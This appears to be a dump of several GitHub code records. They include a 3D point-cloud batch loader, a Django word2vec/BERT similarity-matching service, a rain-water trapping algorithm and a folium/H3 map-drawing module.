#\n def get_el(self, el):\n cos = np.cos(el)\n sin = np.sin(el)\n mat = np.asarray([1.0, 0.0, 0.0, 0.0, cos, -1.0*sin, 0.0, sin, cos], dtype=np.float32)\n mat = np.reshape(mat, [3,3])\n return mat\n #\n def get_inl(self, inl):\n cos = np.cos(inl)\n sin = np.sin(inl)\n # zeros = np.zeros_like(inl)\n # ones = np.ones_like(inl)\n mat = np.asarray([cos, -1.0*sin, 0.0, sin, cos, 0.0, 0.0, 0.0, 1.0], dtype=np.float32)\n mat = np.reshape(mat, [3,3])\n return mat\n\n def get_batch(self, index):\n if index + self.FLAGS.batch_size > self.epoch_amount:\n index = index + self.FLAGS.batch_size - self.epoch_amount\n batch_pnts = np.zeros((self.FLAGS.batch_size, self.FLAGS.num_pnts, 3)).astype(np.float32)\n batch_gvfs = np.zeros((self.FLAGS.batch_size, self.FLAGS.num_pnts, 3)).astype(np.float32)\n batch_norm_params = np.zeros((self.FLAGS.batch_size, 4)).astype(np.float32)\n if self.FLAGS.alpha:\n batch_img = np.zeros((self.FLAGS.batch_size, self.FLAGS.img_h, self.FLAGS.img_w, 4), dtype=np.float32)\n else:\n batch_img = np.zeros((self.FLAGS.batch_size, self.FLAGS.img_h, self.FLAGS.img_w, 3), dtype=np.float32)\n batch_obj_rot_mat = np.zeros((self.FLAGS.batch_size, 3, 3), dtype=np.float32)\n batch_trans_mat = np.zeros((self.FLAGS.batch_size, 4, 3), dtype=np.float32)\n batch_cat_id = []\n batch_obj_nm = []\n batch_view_id = []\n cnt = 0\n for i in range(index, index + self.FLAGS.batch_size):\n # print(index, self.order,i)\n single_obj = self.getitem(self.order[i])\n if single_obj == None:\n raise Exception(\"single mesh is None!\")\n uni_pnts, surf_pnts, uni_gvfs, surf_gvfs, pnts, gvfs, img_dir, img_file_lst, cat_id, obj, num = single_obj\n img, trans_mat, obj_rot_mat = self.get_img(img_dir, num)\n if pnts is None:\n pnts = np.zeros((0, 3))\n gvfs = np.zeros((0, 3))\n if self.FLAGS.uni_num > 0:\n if self.FLAGS.uni_num > uni_pnts.shape[0]:\n uni_choice = np.random.randint(uni_pnts.shape[0], size=self.FLAGS.uni_num)\n else:\n uni_choice = np.asarray(random.sample(range(uni_pnts.shape[0]), self.FLAGS.uni_num), dtype=np.int32)\n pnts = np.concatenate([pnts, uni_pnts[uni_choice, :]],axis=0)\n gvfs = np.concatenate([gvfs, uni_gvfs[uni_choice, :]],axis=0)\n if self.surf_num > 0:\n indexlen = surf_pnts.shape[0]\n if self.FLAGS.surfrange[0] > 0.0 or self.FLAGS.surfrange[1] < 0.15:\n dist = np.linalg.norm(surf_gvfs, axis=1)\n indx = np.argwhere((dist >= self.FLAGS.surfrange[0]) & (dist <= self.FLAGS.surfrange[1])).reshape(-1)\n indexlen = indx.shape[0]\n if self.surf_num > indexlen:\n surf_choice = np.random.randint(indexlen, size=self.surf_num)\n else:\n surf_choice = np.asarray(random.sample(range(indexlen), self.surf_num), dtype=np.int32)\n if indexlen != surf_pnts.shape[0]:\n surf_choice = indx[surf_choice]\n pnts = np.concatenate([pnts, surf_pnts[surf_choice, :]], axis=0)\n gvfs = np.concatenate([gvfs, surf_gvfs[surf_choice, :]], axis=0)\n batch_pnts[cnt, ...] = pnts\n batch_gvfs[cnt, ...] = gvfs\n batch_img[cnt, ...] = img.astype(np.float32)\n batch_obj_rot_mat[cnt, ...] = obj_rot_mat\n batch_trans_mat[cnt, ...] = trans_mat\n batch_cat_id.append(cat_id)\n batch_obj_nm.append(obj)\n batch_view_id.append(num)\n cnt += 1\n batch_data = {'pnts': batch_pnts, 'gvfs':batch_gvfs,\\\n 'imgs': batch_img, 'obj_rot_mats': batch_obj_rot_mat, 'trans_mats': batch_trans_mat, \\\n 'cat_id': batch_cat_id, 'obj_nm': batch_obj_nm, 'view_id': batch_view_id}\n return batch_data\n\n def refill_data_order(self):\n temp_order = copy.deepcopy(self.data_order)\n cats_quota = {key: value for key, value in self.cats_limit.items()}\n np.random.shuffle(temp_order)\n pointer = 0\n epoch_order=[]\n while len(epoch_order) < self.epoch_amount:\n cat_id, _, _ = self.listinfo[temp_order[pointer]]\n if cats_quota[cat_id] > 0:\n epoch_order.append(temp_order[pointer])\n cats_quota[cat_id]-=1\n pointer+=1\n return epoch_order\n\n\n def work(self, epoch, index):\n if index == 0 and self.shuffle:\n self.order = self.refill_data_order()\n print(\"data order reordered!\")\n return self.get_batch(index)\n\n def run(self):\n print(\"start running\")\n while (self.bno // (self.num_batches* self.FLAGS.batch_size)) < self.FLAGS.max_epoch and not self.stopped:\n self.queue.put(self.work(self.bno // (self.num_batches* self.FLAGS.batch_size),\n self.bno % (self.num_batches * self.FLAGS.batch_size)))\n self.bno += self.FLAGS.batch_size\n\n def fetch(self):\n if self.stopped:\n return None\n return self.queue.get()\n\n def shutdown(self):\n self.stopped = True\n while not self.queue.empty():\n self.queue.get()\n\nif __name__ == '__main__':\n\n sys.path.append('../preprocessing/')\n import create_file_lst as create\n\n data = Pt_sdf_img(res=256, expr=1.5,\n listinfo=[[\"03001627\", \"ff3581996365bdddc3bd24f986301745\"],\n [\"03001627\", \"ff3581996365bdddc3bd24f986301745\"]],\n info=create.get_all_info(), maxnverts=6000, maxntris=50000,\n minsurbinvox=4096, num_points=2048, batch_size=2, normalize=False, norm_color=True)\n batch1 = data.get_batch(0)\n print(batch1.keys())\n print(batch1[\"verts\"].shape)\n print(batch1[\"nverts\"])\n print(batch1[\"tris\"].shape)\n print(batch1[\"ntris\"])\n print(batch1[\"surfacebinvoxpc\"].shape)\n print(batch1[\"sdf\"].shape)\n print(batch1[\"sdf_params\"])\n print(batch1[\"img\"].shape, batch1[\"img\"][0, 64, 64, :])\n print(batch1[\"img_cam\"])\n\n # (2048, 3)\n cloud1 = batch1[\"surfacebinvoxpc\"][0, ...]\n trans1 = batch1[\"img_cam\"][0, ...]\n az1 = float(trans1[0] + 180) * math.pi / 180.0\n el1 = float(trans1[1]) * math.pi / 180.0\n in1 = float(trans1[2]) * math.pi / 180.0\n transmatrix_az1 = [[math.cos(az1), 0, math.sin(az1)],\n [0, 1, 0],\n [-math.sin(az1), 0, math.cos(az1)]]\n transmatrix_az1 = np.asarray(transmatrix_az1).astype(np.float32)\n transmatrix_el1 = [[1, 0, 0],\n [0, math.cos(el1), -math.sin(el1)],\n [0, math.sin(el1), math.cos(el1)]]\n transmatrix_el1 = np.asarray(transmatrix_el1).astype(np.float32)\n transmatrix_in1 = [[math.cos(in1), -math.sin(in1), 0],\n [math.sin(in1), math.cos(in1), 0],\n [0, 0, 1]]\n transmatrix_in1 = np.asarray(transmatrix_in1).astype(np.float32)\n\n trans = np.matmul(np.matmul(transmatrix_in1, transmatrix_el1), transmatrix_az1)\n translate1 = np.tile(np.expand_dims(np.asarray([-trans1[2], 0, 0]).astype(np.float32), axis=0), (2048, 1))\n points = np.matmul(cloud1, trans.T)\n np.savetxt(\"ff_rotate.xyz\", points)\n np.savetxt(\"ff.xyz\", cloud1)\n","repo_name":"Xharlie/GVF","sub_path":"data/data_gvf_queue.py","file_name":"data_gvf_queue.py","file_ext":"py","file_size_in_byte":18695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16881176459","text":"# coding=utf-8\n\nimport os\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'demo.settings')\nimport gensim\nimport jieba\nimport torch\nimport xlrd\nimport configparser\nimport pandas as pd\nfrom similarity.tools import root_path\nfrom rest_framework.response import Response\nfrom similarity.tools import model_dir, data_dir\nfrom similarity.word2vec_similarity_catalog import find_data, word_avg\nfrom similarity.word2vec_similarity_catalog import device, model, delete_ndarray, \\\n bert_sim, executor, tensor_module, model_path\nfrom similarity.database_get import db\n\ndata_model_path = os.path.join(data_dir, '01人口模型汇总_v1.0.xlsx')\n# 处理完后的目录表路径\nexec_model_path = os.path.join(data_dir, 'data_model.csv')\ndata_model = []\ndata_model_number = 4900\ndata_model_vector_department = []\ndata_model_vector_modelName = []\ndata_model_vector_valueName = []\ndata_model_tensor_department = None\ndata_model_tensor_modelName = None\ndata_model_tensor_valueName = None\n# 模型表模型名称tensor的保存路径\nmodel_modelName_tensor_path = os.path.join(data_dir, 'model_modelName.pt')\n# 模型表属性名称tensor的保存路径\nmodel_valueName_tensor_path = os.path.join(data_dir, 'model_valueName.pt')\nbert_data = {}\nquery_data = {}\npercent = [0.4, 0.1, 0, 0.3, 0]\n\n# keyword = 'data_model'\n# read_ini = configparser.ConfigParser()\n# read_ini.read(os.path.join(root_path,'config.ini'), encoding='utf-8')\n#\n# data_col = [int(x) for x in read_ini.get(keyword, 'data_col').split(',')]\n# table_name = read_ini.get(keyword, 'table_name')\n\n# 数据库读取相关数据\nkeyword = 'common_data'\nread_ini = configparser.ConfigParser()\nread_ini.read(os.path.join(root_path,'config.ini'), encoding='utf-8')\n\ndata_col = [int(x) for x in read_ini.get(keyword, 'data_col').split(',')]\ntable_name = read_ini.get(keyword, 'table_name')\nbusiness_type = 'data_model'\n\n\n\ndef init_model_vector_model(request):\n global process\n global data_model_path\n global data_model\n global data_model_number\n global data_model_vector_department\n global data_model_vector_modelName\n global data_model_vector_valueName\n global data_model_tensor_department\n global data_model_tensor_modelName\n global data_model_tensor_valueName\n\n parameter = request.data\n # # 目录表路径\n # data_model_path = parameter['filePath']\n # if not os.path.exists(data_model_path):\n # return Response({\"code\": 404, \"msg\": \"模型表路径不存在\", \"data\": \"\"})\n process = 0\n # 重新加载模型\n model = gensim.models.KeyedVectors.load_word2vec_format(model_path, binary=True)\n process = 0.5\n # 重新缓存向量\n data_model = []\n data_model_vector_department = []\n data_model_vector_modelName = []\n data_model_vector_valueName = []\n # prepare_data_model(path=data_model_path)\n prepare_data_model()\n process = 0.75\n data_model_number = len(data_model)\n for i in range(len(data_model)):\n process = 0.75 + i / (data_model_number * 4)\n data = data_model[i]\n item = data.split(' ')\n\n segment2_1 = jieba.lcut(item[0], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_department.append(s2)\n\n segment2_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_modelName.append(s2)\n\n segment2_1 = jieba.lcut(item[3], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_valueName.append(s2)\n data_model_tensor_department = torch.Tensor(data_model_vector_department).to(device)\n data_model_tensor_modelName = torch.Tensor(data_model_vector_modelName).to(device)\n data_model_tensor_valueName = torch.Tensor(data_model_vector_valueName).to(device)\n\n # torch.save(data_model_tensor_modelName, model_modelName_tensor_path)\n # torch.save(data_model_tensor_valueName, model_valueName_tensor_path)\n\n bert_data.clear()\n query_data.clear()\n return Response({\"code\": 200, \"msg\": \"词模型初始化完成;词向量缓存完成!\", \"data\": \"\"})\n\ndef prepare_data_model():\n global data_model\n global table_name\n # # 打开excel\n # wb = xlrd.open_workbook(path)\n # # 按工作簿定位工作表\n # sh = wb.sheet_by_name('业务层模型结构')\n # row_number = sh.nrows\n # for i in range(1, row_number):\n # data_model.append(sh.cell(i, 2).value + ' ' + sh.cell(i, 5).value)\n # # print(model_data)\n\n # re = db.get_colum_by_num(data_col, table_name)\n # for i in re:\n # while (None in i):\n # i[i.index(None)] = '*'\n # data_model.append(' '.join(i))\n #\n # model_df = pd.DataFrame(data_model)\n # model_df.to_csv(exec_model_path, encoding='utf-8_sig', index=False)\n\n re = db.get_data_by_type_v2(data_col, business_type, table_name)\n for i in re:\n data_model.append(' '.join([i[0].replace('-', ' '), i[1], i[2]]))\n\n # print('data_model:' + str(len(data_model)))\n # for i in range(len(data_model)):\n # print(data_model[i])\n\n # model_df = pd.DataFrame(data_model)\n # model_df.to_csv(exec_model_path, encoding='utf-8_sig', index=False)\n\ndef increment_business_data_model(request):\n global data_model_vector_department\n global data_model_vector_modelName\n global data_model_vector_valueName\n global data_model_tensor_department\n global data_model_tensor_modelName\n global data_model_tensor_valueName\n parameter = request.data\n full_data = parameter['data']\n for single_data in full_data:\n match_str = single_data['matchStr']\n original_code = single_data['originalCode']\n original_data = single_data['originalData']\n # match_str = match_str.replace('-', ' ')\n # 加入缓存中\n # tmp = original_data['departmentName'] + ' ' + original_data['catalogName'] + ' ' + \\\n # original_data['infoItemName'] + ' ' + original_data['departmentID'] + ' ' + original_data['catalogID']\n\n # item = match_str.split('-')\n # data_model.append(item[1] + ' ' + item[3])\n\n if len(match_str.split('-')) != 5:\n return Response({\"code\": 200, \"msg\": \"新增数据失败,有效数据字段不等于5\", \"data\": \"\"})\n\n tmp = ' '.join(match_str.split('-'))\n\n tmp += (' ' + original_code + ' ' + original_data)\n data_model.append(tmp)\n\n # print('增加后:')\n # print('data_model:' + str(len(data_model)))\n # for i in range(len(data_model)):\n # print(data_model[i])\n\n item = tmp.split(' ')\n segment2_1 = jieba.lcut(item[0], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_department.append(s2)\n\n segment2_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_modelName.append(s2)\n\n segment2_1 = jieba.lcut(item[3], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n data_model_vector_valueName.append(s2)\n\n data_model_tensor_department = torch.Tensor(data_model_vector_department).to(device)\n data_model_tensor_modelName = torch.Tensor(data_model_vector_modelName).to(device)\n data_model_tensor_valueName = torch.Tensor(data_model_vector_valueName).to(device)\n bert_data.clear()\n query_data.clear()\n return Response({\"code\": 200, \"msg\": \"新增数据成功!\", \"data\": \"\"})\n\ndef delete_business_data_model(request):\n global data_model_tensor_department\n global data_model_tensor_modelName\n global data_model_tensor_valueName\n global data_model_vector_department\n global data_model_vector_modelName\n global data_model_vector_valueName\n parameter = request.data\n full_data = parameter['data']\n for single_data in full_data:\n match_str = single_data['matchStr']\n original_code = single_data['originalCode']\n original_data = single_data['originalData']\n # 加入缓存中\n # tmp = original_data['departmentName'] + ' ' + original_data['catalogName'] + ' ' + \\\n # original_data['infoItemName'] + ' ' + original_data['departmentID'] + ' ' + original_data['catalogID']\n # match_str = match_str.replace('-', ' ')\n\n tmp = ' '.join(match_str.split('-'))\n tmp += (' ' + original_code + ' ' + original_data)\n # print('待删除数据:')\n # print(tmp)\n\n\n # 在目录列表中删除数据\n try:\n data_model.remove(tmp)\n except:\n return Response({\"code\": 200, \"msg\": \"无该数据!\", \"data\": \"\"})\n\n\n # print('删除后:')\n # print('data_model:' + str(len(data_model)))\n # for i in range(len(data_model)):\n # print(data_model[i])\n\n item = match_str.split('-')\n segment2_1 = jieba.lcut(item[0], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n delete_ndarray(data_model_vector_department, s2)\n segment2_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n delete_ndarray(data_model_vector_modelName, s2)\n segment2_1 = jieba.lcut(item[3], cut_all=True, HMM=True)\n s2 = word_avg(model, segment2_1)\n delete_ndarray(data_model_vector_valueName, s2)\n data_model_tensor_department = torch.Tensor(data_model_vector_department).to(device)\n data_model_tensor_modelName = torch.Tensor(data_model_vector_modelName).to(device)\n data_model_tensor_valueName = torch.Tensor(data_model_vector_valueName).to(device)\n bert_data.clear()\n query_data.clear()\n return Response({\"code\": 200, \"msg\": \"删除数据成功!\", \"data\": \"\"})\n\ndef data2model_recommend(request):\n global data_model\n global percent\n parameter = request.data\n full_data = parameter['data']\n k = parameter['k']\n if k > len(data_model):\n k = len(data_model)\n weight_percent = parameter['percent']\n if len(weight_percent.split(',')) != 5:\n return Response({\"code\": 404, \"msg\": \"权重配置错误!\", \"data\": ''})\n percent = [float(x) for x in weight_percent.split(',')]\n # load_model_data()\n if len(data_model) == 0:\n return Response({\"code\": 404, \"msg\": \"数据为空!\", \"data\": ''})\n # 顺序是模型表名-字段名\n source_data = []\n for i in range(len(full_data)):\n source_data.append(full_data[i]['matchStr'].replace('-', ' '))\n result = []\n for i in range(len(source_data)):\n res = {}\n data = source_data[i]\n query_id = full_data[i]['id']\n # 字符串匹配\n str_tmp = string_matching(demand_data=data, k=k)\n if len(str_tmp) >= k:\n sim_value = [1] * len(str_tmp)\n result.append(save_result(str_tmp, res, query_id, sim_value))\n continue\n\n # 查看查询缓存\n if data in query_data.keys():\n tmp = query_data.get(data)\n if len(tmp) == 2 * k:\n sim_value = tmp[int(len(tmp) / 2):]\n tmp = tmp[0: int(len(tmp) / 2)]\n result.append(save_result(tmp, res, query_id, sim_value))\n continue\n\n # 查看BERT缓存\n tmp = find_data(demand_data=data, k=k)\n if len(tmp) != 0:\n sim_value = tmp[int(len(tmp) / 2):]\n tmp = tmp[0: int(len(tmp) / 2)]\n result.append(save_result(tmp, res, query_id, sim_value))\n continue\n\n # 缓存清理FIFO\n if len(bert_data.keys()) >= 10000:\n bert_data.clear()\n if len(query_data.keys()) >= 10000:\n query_data.clear()\n\n # 词向量匹配\n tmp, sim_value = vector_matching(demand_data=data, k=k)\n\n # print('原来的str_tmp')\n # for index in range(len(str_tmp)):\n # print(str_tmp[index])\n #\n # print('原来的tmp:')\n # for index in range(len(tmp)):\n # print(tmp[index] + ' : ' + str(sim_value[index]))\n\n oringi_len = len(str_tmp)\n str_tmp += tmp\n str_sim_value = ([1] * oringi_len) + sim_value\n\n # print()\n # print('增加后的长度:' + str(len(str_tmp)))\n # print('增长后的情况:')\n # for index in range(len(str_tmp)):\n # print(str_tmp[index] + ' : ' + str(str_sim_value[index]))\n\n # for index in range(oringi_len):\n # if str_tmp[index] == str_tmp[0]:\n # str_tmp.pop(oringi_len)\n # str_sim_value.pop(oringi_len)\n\n for index in range(oringi_len):\n while str_tmp[index] in str_tmp[oringi_len:]:\n for tmp_index in range(oringi_len, len(str_tmp)):\n if str_tmp[tmp_index] == str_tmp[index]:\n str_tmp.pop(tmp_index)\n str_sim_value.pop(tmp_index)\n break\n # if str_tmp[index] == str_tmp[0]:\n # str_tmp.pop(oringi_len)\n # str_sim_value.pop(oringi_len)\n\n # 保证增加后的数据不超过k个\n if len(str_tmp) > k:\n str_tmp = str_tmp[:k]\n\n\n\n # print()\n # print('删除后的情况:')\n # for tmp_index in range(len(str_tmp)):\n # print(str_tmp[tmp_index] + ' : ' + str(str_sim_value[tmp_index]))\n\n\n # result.append(save_result(tmp, res, query_id, sim_value))\n result.append(save_result(str_tmp, res, query_id, str_sim_value))\n query_data[data] = tmp + sim_value\n\n # 缓存中不存在, 后台线程缓存\n executor.submit(save_data, data, k)\n\n return Response({\"code\": 200, \"msg\": \"查询成功!\", \"data\": result})\n\ndef string_matching(demand_data, k):\n # res = []\n # for data in data_model:\n # tmp_data = data.split(' ')\n # tmp_demand_data = demand_data.split(' ')\n # if tmp_demand_data[1] + ' ' + tmp_demand_data[3] == tmp_data[0] + ' ' + tmp_data[1]:\n # res.append(data)\n # if len(res) == k:\n # break\n # return res\n\n res = []\n # print('data_len:' + str(len(data_model)))\n\n # for i in range(len(data_model)):\n # print(data_model[i])\n\n for data in data_model:\n tmp_match_str = demand_data.split(' ')\n match_str = tmp_match_str[0] + ' ' + tmp_match_str[1] + ' ' + tmp_match_str[3]\n\n tmp_database_str = data.split(' ')\n tmp_str = tmp_database_str[0] + ' ' + tmp_database_str[1] + ' ' + tmp_database_str[3]\n\n if match_str == tmp_str:\n # print(111111111)\n res.append(data)\n if len(res) == k:\n break\n return res\n\ndef vector_matching(demand_data, k):\n # 字符串没有匹配项,则会进行向量相似度匹配,筛选前k个\n # sim_words = {}\n item = demand_data.split(' ')\n # 输入的数据表字段名\n segment1_1 = jieba.lcut(item[3], cut_all=True, HMM=True)\n s1 = [word_avg(model, segment1_1)]\n x = torch.Tensor(s1).to(device)\n # final_value = tensor_module(torch.load(model_valueName_tensor_path), x) * percent[3]\n final_value = tensor_module(data_model_tensor_valueName, x) * percent[3]\n\n if item[0] != '':\n segment1_1 = jieba.lcut(item[0], cut_all=True, HMM=True)\n s1 = [word_avg(model, segment1_1)]\n x = torch.Tensor(s1).to(device)\n final_value += tensor_module(data_model_tensor_department, x) * percent[0]\n\n if item[1] != '':\n segment1_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n s1 = [word_avg(model, segment1_1)]\n x = torch.Tensor(s1).to(device)\n final_value += tensor_module(data_model_tensor_modelName, x) * percent[1]\n\n # # 输入的数据表表名\n # if item[1] != '':\n # segment1_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n # s1 = [word_avg(model, segment1_1)]\n # x = torch.Tensor(s1).to(device)\n # final_value += tensor_module(torch.load(model_modelName_tensor_path), x) * percent[1]\n\n # # 材料描述、材料类型\n # if item[1] != '':\n # segment1_1 = jieba.lcut(item[1], cut_all=True, HMM=True)\n # s1 = [word_avg(model, segment1_1)]\n # x = torch.Tensor(s1).to(device)\n # final_value += tensor_module(catalogue_data_tensor_catalog, x) * percent[1]\n\n # 输出排序并输出top-k的输出\n value, index = torch.topk(final_value, k, dim=0, largest=True, sorted=True)\n sim_index = index.numpy().tolist()\n sim_value = value.numpy().tolist()\n res = []\n res_sim_value = []\n for i in sim_index:\n res.append(data_model[i[0]])\n # print('计算出的匹配值:')\n for i in sim_value:\n # print(i[0])\n if i[0] > 1:\n i[0] = 1.0\n res_sim_value.append(i[0])\n return res, res_sim_value\n\ndef load_model_data():\n global data_model\n model_df = pd.read_csv(exec_model_path, encoding='utf-8')\n data_model = [str(x[0]) for x in model_df.values]\n\n\ndef save_data(demand_data, k):\n sim_words = {}\n\n # item1(输入): 部门-表名称-表描述-字段名称-字段描述\n # item2(加入内存的数据格式): 模型表名-模型字段名\n item1 = demand_data.split(' ')\n for data in data_model:\n sim = 0\n item2 = data.split(' ')\n # sim += bert_sim.predict(item1[0], item2[0])[0][1] * percent[0]\n # sim += bert_sim.predict(item1[1], item2[1])[0][1] * percent[1]\n # sim += bert_sim.predict(item1[2], item2[2])[0][1] * percent[2]\n # 数据表部门名与模型表部门名\n sim += bert_sim.predict(item1[0], item2[0])[0][1] * percent[0]\n # 数据表表名与模型表表名\n sim += bert_sim.predict(item1[1], item2[1])[0][1] * percent[1]\n # 数据表字段与模型属性\n sim += bert_sim.predict(item1[3], item2[3])[0][1] * percent[3]\n\n if len(sim_words) < k:\n sim_words[data] = sim\n else:\n min_sim = min(sim_words.values())\n if sim > min_sim:\n for key in list(sim_words.keys()):\n if sim_words.get(key) == min_sim:\n # 替换\n del sim_words[key]\n sim_words[data] = sim\n break\n res = []\n sim_words = sorted(sim_words.items(), key=lambda kv: (kv[1], kv[0]), reverse=True)\n for sim_word in sim_words:\n res.append(sim_word[0])\n for sim_word in sim_words:\n if sim_word[1] > 1:\n sim_word[1] = 1.0\n res.append(sim_word[1])\n bert_data[demand_data] = res\n\n\ndef save_result(temp, res, query_id, sim_value):\n # single_res = []\n # for i in range(len(temp)):\n # d = temp[i]\n # tmp = d.split(' ')\n # single_res.append({'originalCode': 'data2model', 'originalData': {'modelName':tmp[0],\n # 'itemName':tmp[1]},\n # 'similarity': sim_value[i]})\n # res['key'] = query_id\n # res['result'] = single_res\n # return res\n\n single_res = []\n for i in range(len(temp)):\n d = temp[i]\n tmp = d.split(' ')\n\n single_res.append({'str': ' '.join(tmp[:5]),\n 'originalCode': tmp[5],\n 'originalData': tmp[6],\n 'similarity': sim_value[i]})\n\n res['key'] = query_id\n res['result'] = single_res\n return res\n","repo_name":"Sinle4Cat/Similarity","sub_path":"similarity/src/process/data_to_model.py","file_name":"data_to_model.py","file_ext":"py","file_size_in_byte":19370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1279461516","text":"class BuildingsRain:\n \"\"\" O(N + 3) \"\"\"\n def contains(self, buildings):\n # Edge Case(s)\n if len(buildings) < 3:\n return 0\n\n left = [0] * (len(buildings) + 1)\n right = [0] * (len(buildings) + 1)\n buildings = [0] + buildings\n for idx in range(1, len(buildings)):\n left[idx] = max(buildings[idx - 1], left[idx - 1])\n for idx in reversed(range(len(buildings) - 1)):\n right[idx] = max(buildings[idx + 1], right[idx + 1])\n\n total = 0\n for i in range(1, len(buildings) - 1):\n min_height = min(left[i], right[i])\n if buildings[i] < min_height:\n total += min_height - buildings[i]\n\n return total\n\n\nif __name__ == \"__main__\":\n obj = BuildingsRain()\n print(obj.contains([7,4,0,9]))\n print(obj.contains([6,9,9]))\n","repo_name":"Hosjev/Algo","sub_path":"Facebook/rain_city.py","file_name":"rain_city.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"8719285972","text":"import folium\nfrom OSM_module import osm_parser\nimport h3\nimport pandas as pd\nimport numpy as np\nfrom shapely.geometry import Polygon\nimport geopandas as gpd\nimport json\nimport branca\nfrom shapely.geometry import Point\n\nclass Map_master():\n\n #Загружаем датасет границ районов и выбираем нужные нам по id\n def get_districts(self, districts_list):\n self.osm.get_path()\n df_borders = self.osm.read_data(self.osm.borders_data_name_transform)\n df_target_borders = df_borders.loc[df_borders['district_id'].isin(districts_list)]\n\n return df_target_borders\n\n def get_regions(self, districts_list):\n self.osm.get_path()\n df_borders = self.osm.read_data(self.osm.regions_borders_data_name_transform)\n df_target_borders = df_borders.loc[df_borders['region_id'].isin(districts_list)]\n\n return df_target_borders\n\n #Функция меняет долготу и широту местами\n def swap_points(self, points):\n for j in range(len(points)):\n points[j] = points[j][::-1]\n\n return points\n\n #функция для формирования линий границ районов\n def get_borders_in_right_oreder(self, df_target_borders, id_type):\n borders_map = {}\n #Если район целый и его тип Полигон, то все супер, просто меняем последовательность долготы и широты\n #На выходе словарь, где каждому району id соответствует список, содержаший список точек\n #Для полигонов там один список, для мультиполигонов несколько, это сделано чтоб все отображлось корректно\n #И не было линий от конца одной части района к началу другой\n for i in range(df_target_borders.shape[0]):\n if str(type(df_target_borders.iloc[i]['geometry'])).split(\"'\")[1] == 'shapely.geometry.polygon.Polygon':\n points = list(df_target_borders.iloc[i]['geometry'].exterior.coords)\n borders_map[df_target_borders.iloc[i][id_type]] = [self.swap_points(points)]\n #Если же район раздлене пространственно и его тип Мультиполигон, то мы добавляем его части по отдельности\n elif str(type(df_target_borders.iloc[i]['geometry'])).split(\"'\")[1] == 'shapely.geometry.multipolygon.MultiPolygon':\n mycoordslist = [list(x.exterior.coords) for x in df_target_borders.iloc[i]['geometry'].geoms]\n for j in mycoordslist:\n points = j\n points = self.swap_points(points)\n if df_target_borders.iloc[i][id_type] not in borders_map:\n borders_map[df_target_borders.iloc[i][id_type]] = [points]\n else:\n borders_map[df_target_borders.iloc[i][id_type]] += [points]\n\n return borders_map\n\n #Функция по выводу границ районов. На вход получает список id районов\n def print_district_borders(self, maps, districts_list, type_t, feature_group_name):\n if len(districts_list) > 0:\n if type_t == 'district':\n df_target_borders = self.get_districts(districts_list)\n id_type = 'district_id'\n color = 'black'\n elif type_t == 'region':\n df_target_borders = self.get_regions(districts_list)\n id_type = 'region_id'\n color = 'red'\n\n borders_map = self.get_borders_in_right_oreder(df_target_borders, id_type=id_type)\n\n feature_group_borders = folium.FeatureGroup(feature_group_name)\n\n #fill_color отвечает за заливку внутри полигона\n #fill_opacity отвечает за прозрачность заливки\n for i in borders_map:\n for j in borders_map[i]:\n #folium.PolyLine(locations=j, color=color, fill_color=\"blue\", fill_opacity=0.3).add_to(maps)\n folium.PolyLine(locations=j, color=color).add_to(feature_group_borders)\n\n #feature_group_borders.add_to(maps)\n return feature_group_borders\n\n #Функция извлечения координат для полигоново и мультиполигонов в нужном формате\n def extract_borders(self, geom):\n geoJson = json.loads(gpd.GeoSeries(geom).to_json())\n geoJson = geoJson['features'][0]['geometry']\n gjs = []\n if geoJson['type'] == 'Polygon':\n gjs.append([np.column_stack((np.array(geoJson['coordinates'][0])[:, 1],\n np.array(geoJson['coordinates'][0])[:,\n 0])).tolist()])\n geoJson = {'type': 'Polygon', 'coordinates': gjs}\n elif geoJson['type'] == 'MultiPolygon':\n for i in range(len(geoJson['coordinates'])):\n gjs.append([np.column_stack((np.array(geoJson['coordinates'][i][0])[:, 1],\n np.array(geoJson['coordinates'][i][0])[:, 0])).tolist()])\n\n geoJson = {'type': 'Polygon', 'coordinates': gjs}\n\n return geoJson\n\n #Функция по отрисовке гексагонов внутри полигона, на вход карта, геометрия района и размер гексагона с его цветом\n def create_hexagons(self, maps, geom, hexagone_size, color, feature_group_hex):\n geoJson = self.extract_borders(geom)\n polylines_list = []\n polygons_hex_list = []\n for k in range(len(geoJson['coordinates'])):\n sub_geoJson = {'type': 'Polygon', 'coordinates': geoJson['coordinates'][k]}\n hexagons = list(h3.polyfill(sub_geoJson, hexagone_size))\n polylines = []\n lat = []\n lng = []\n for hex in hexagons:\n polygons = h3.h3_set_to_multi_polygon([hex], geo_json=False)\n # flatten polygons into loops.\n outlines = [loop for polygon in polygons for loop in polygon]\n polyline = [outline + [outline[0]] for outline in outlines][0]\n lat.extend(map(lambda v: v[0], polyline))\n lng.extend(map(lambda v: v[1], polyline))\n polylines.append(polyline)\n for polyline in polylines:\n #my_PolyLine = folium.PolyLine(locations=polyline, weight=3, color=color).add_to(feature_group_hex)\n #maps.add_child(my_PolyLine)\n folium.PolyLine(locations=polyline, weight=3, color=color).add_to(feature_group_hex)\n #feature_group_hex.add_to(maps)\n\n polylines_x = []\n for j in range(len(polylines)):\n a = np.column_stack((np.array(polylines[j])[:, 1], np.array(polylines[j])[:, 0])).tolist()\n polylines_x.append([(a[i][0], a[i][1]) for i in range(len(a))])\n\n polygons_hex = pd.Series(polylines_x).apply(lambda x: Polygon(x))\n\n polylines_list.append(polylines)\n polygons_hex_list.append(polygons_hex)\n\n 